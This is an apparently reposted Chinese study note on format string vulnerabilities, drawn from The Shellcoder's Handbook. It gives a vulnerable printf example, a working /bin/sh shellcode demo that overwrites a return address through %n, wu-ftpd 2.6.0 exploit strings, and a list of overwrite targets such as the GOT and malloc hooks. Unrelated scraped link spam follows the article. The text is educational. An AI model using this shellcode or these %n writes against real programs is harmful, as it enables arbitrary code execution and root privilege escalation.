shellcode之四:格式化串漏洞

来源:互联网 发布:砍柴网源码 帝国 编辑:程序博客网 时间:2024/05/22 01:51

声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。


格式化串漏洞

 

当printf系列函数的格式化串里包含用户提交的数据时,有可能出现格式化串漏洞。攻击者可能提交许多格式化字符(但不提供对应的变量),这样栈上就没有和格式符相对于的参数,因此系统就会用栈上的其他数据代替这项参数,从而导致信息泄露和执行指定的代码。以下面的程序为例:

#include <stdio.h>  int main(int argc, char *argv[])  {  if (argc != 2) return 1;  printf(argv[1]);  printf("/n");  return 0;  } 

sep@debian66:~/shellcode$ cc -o fmt fmt.c  fmt.c:13:2: warning: no newline at end of file  sep@debian66:~/shellcode$ ./fmt "%x %x %x %x"  bfefb224 bfefb1a8 bfefb1b0 b7e66c8c  sep@debian66:~/shellcode$ 

编译,运行,printf从栈上找来四个数据充数输出。这提供给我们一个可能性:攻击者可能利用它来获取栈上的数据,意味着对栈本身来说可能是敏感信息,如用户名、密码等。如果提交多个%x格式符,则可以获知更多的栈上数据。【疑问:我们知道这些数据来自栈上,但具体在栈的哪里?是当前ESP的位置吗?】


转换格式符:d、i、o、u、x用于整数,e、f、g、a用于浮点数,c用于字符,特别留意下面两个:

s--这个参数被视为指向字符串的指针,将以字符串的形式输出参数;

n--这个参数被视为指向整形(包括int、short、char等)的指针,在这个参数之前输出的字符的数量将被保存到这个参数指向的地址里。


%n格式符把它的参数作为内存地址,把前面输出的字符数量写到那个地址。这意味着我们有机会改写某个内存地址里的数据,从而控制程序的执行。如果满足下面条件,就可以利用格式化串漏洞执行任意代码:

1、我们能控制%n参数,并可以把输出的字符的数量写入内存的指定区域;

2、宽度格式符允许用任意长度(事实上最长可为255个字符)填充输出。因此,可以用字符串长度改写单个字节;

3、重复上面步骤4次的话,就能改写内存中的任意4B,也就是说,攻击者可以利用这个方法改写内存地址;

4、我们可以猜测函数指针的地址(保存的返回地址RET、二进制文件的导入表、c++ vatable等),因此我们可以促成系统把提交的字符串当成代码来执行。


我写了这样的一个程序,把shellcode的地址通过printf填到RET:

//file: fmt2.c//cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2#include <stdio.h>char shellcode[] = "/xeb/x1a/x5e/x31"                   "/xc0/x88/x46/x07"                   "/x8d/x1e/x89/x5e"                   "/x08/x89/x46/x0c"                   "/xb0/x0b/x89/xf3"                   "/x8d/x4e/x08/x8d"                   "/x56/x0c/xcd/x80"                   "/xe8/xe1/xff/xff"                   "/xff/x2f/x62/x69"                   "/x6e/x2f/x73/x68";                   int main(){    int *ret;    ret = (int *)&ret + 2;    printf("%p/n", shellcode);        printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret);    printf("%0*d%n/n", ((int)shellcode>>8) &0xff, 0, (char *)ret+1);    printf("%0*d%n/n", ((int)shellcode>>16)&0xff, 0, (char *)ret+2);    printf("%0*d%n/n", ((int)shellcode>>24)&0xff, 0, (char *)ret+3);}
注意printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret);语句,*号用于动态指定输出宽度,配合%n参数,就可以将shellcode的地址填到我们想要的内存地址中。编译运行:

sep@debian66:~/shellcode$ cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2sep@debian66:~/shellcode$ ./fmt20x804968000000000000000000000000000000000000000000000000000000000000000...0 <0x80个0>00000000000000000000000000000000000000000000000000000000000000...0 <0x96个0>000000000000sh-3.1$
得到一个shell,证明fmt2退出后确实运行了shellcode,假设fmt2属主是root,并把suid打开,则派生shell也会继承root特权。

利用格式化串漏洞,书上以wu-ftpd 2.6.0为例展开阐述如何使得服务崩溃和获取内存中的数据。


控制程序的执行


书中仍然以wu-ftpd 2.6.0为例展开如何利用printf漏洞让程序执行我们的shellcode。过程还是相当复杂的,需要装redhat9.0 + wu-ftpd2.6.0来实践一次。

书中有个地方比较难以理解:

./dowu localhost $'/x41/x41/x41/x41%272$n' 1

如果用gdb跟踪wu-ftp的执行情况,你会看到进程正在试着把0x0000000a写入地址0x41414141。


对于“./dowu localhost $'/x41/x41/x41/x41%272$n' 1”,在wu-ftpd中会展为“site index $'/x41/x41/x41/x41%272$n'”语句。272$是利用site index弹出栈上的第272个值(这里在272处就是字符串本身的头4b,即/x41/x41/x41/x41,也就是AAAA)。系统会把弹出的AAAA(0x41414141)作为%n参数,另外字符串“/x41/x41/x41/x41%272$n”的长度是0xa,故printf将把0xa写入地址0x41414141中。理解这些,接下来的疑问不大,可利用填充字节增加字符串的长度,如./dowu localhost $'/x41/x41/x41/x41%50000x%272$n' 1将0xc35a(50000+10)写到地址0x41414141中。


0x41414141只是为了验证我们的想法而选择的地址。实际中应该选择一个有意义的地址,可以从多个目标中选择它:

1、保存的返回地址(栈溢出,用信息泄露的方法来确定返回地址的位置);

2、全局偏移表(GOT),动态重定位对函数;

3、析构函数表(DTORS);

4、C函数库钩子,例如malloc_hook、realloc_hook和free_hook;

5、atexit结构;

6、所有其他的函数指针,例如C++ vtables、回调函数等;

7、Windows里默认未处理的异常处理程序,它几乎总是在同一地址。


先来看下in.ftpd里的GOT:

objdump -R /usr/sbin/in.ftpd

...

0806d3b0 R_386_JUMP_SLOT printf

...


我们可以修改保存在0806d3b0里的地址来重定向程序的执行流程。利用格式化串修改保存在0806d3b0里的地址之后,wu-ftpd会希望执行到printf,从而执行指定的代码。接下来如何把shellcode上载到GOT的地址空间,详见原书P64。

针对wu-ftpd的这个漏洞,最流行的破解是wuftpd2600.c。


格式化串技术概述


格式化串参数:

1、可用%s从目标进程读取内存数据;

2、可用%n把输出字符串长度写入任意地址;

3、可用宽度修饰符修改输出的字符的数量;

4、可用%hn修饰符每次写入16位数值。


直接参数访问允许多次重用同一格式化串里的栈参数,也允许直接用那些我们感兴趣的参数。直接参数访问包括使用$修饰符,例如:

%272$x

将显示栈上的第272个参数。这是很重要的技巧。

原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 老婆一直要管我的钱怎么办 老公不肯把钱交给老婆管怎么办 愿意和做朋友不愿意做情侣怎么办 欠信用卡碰到第三方不愿协调怎么办 qq密码忘记了申诉不回来怎么办 当你老公烦你了你该怎么办 自己有漂亮媳妇还经常想去嫖怎么办 微信号封了找不到好友解封怎么办 别人总是提起你的黑历史怎么办 换了手机微信登录不上怎么办 qq不小心清空了聊天记录怎么办 人家介绍了外地媳妇跑了怎么办 火锅想吃香菜牛肉没有签子串怎么办 想读外省大学但家人反对怎么办 13岁被同学忽视他不知道怎么办 老婆发现老公在微信暧昧聊天怎么办 老婆微信和别人聊天暧昧我该怎么办 淘宝修改标题宝贝被删了怎么办 百度网盘上的相片变的模糊怎么办 微信2不小心删了怎么办 房屋没交接前给钥匙出现问题怎么办 微信银行卡注销零钱没了怎么办 贴小广告电话被城管上报停机怎么办 没有id密码怎么办已经锁死了屏幕 电信电话卡注销了里面的钱怎么办 支付宝绑定的手机号成空号了怎么办 支付宝绑定的手机号空号了怎么办 支付宝绑定的手机号码空号了怎么办 注册支付宝的手机号成空号了怎么办 银行保本理财回执单丢了怎么办 电脑连不上网ip地址错误怎么办 邮箱填错了没收到面试通知怎么办 电信烽火网络机顶盒零配置中怎么办 专技天下学错科目了怎么办 注册公司行业大类选错了怎么办 私营企业开的车比领导好怎么办 有公司有商标无生产资质怎么办 天猫店铺使用商标被注销怎么办 入仓件快递员搞错入仓号怎么办 商标注册证盖了自己公司的章怎么办 普通机打发票作废票丢了怎么办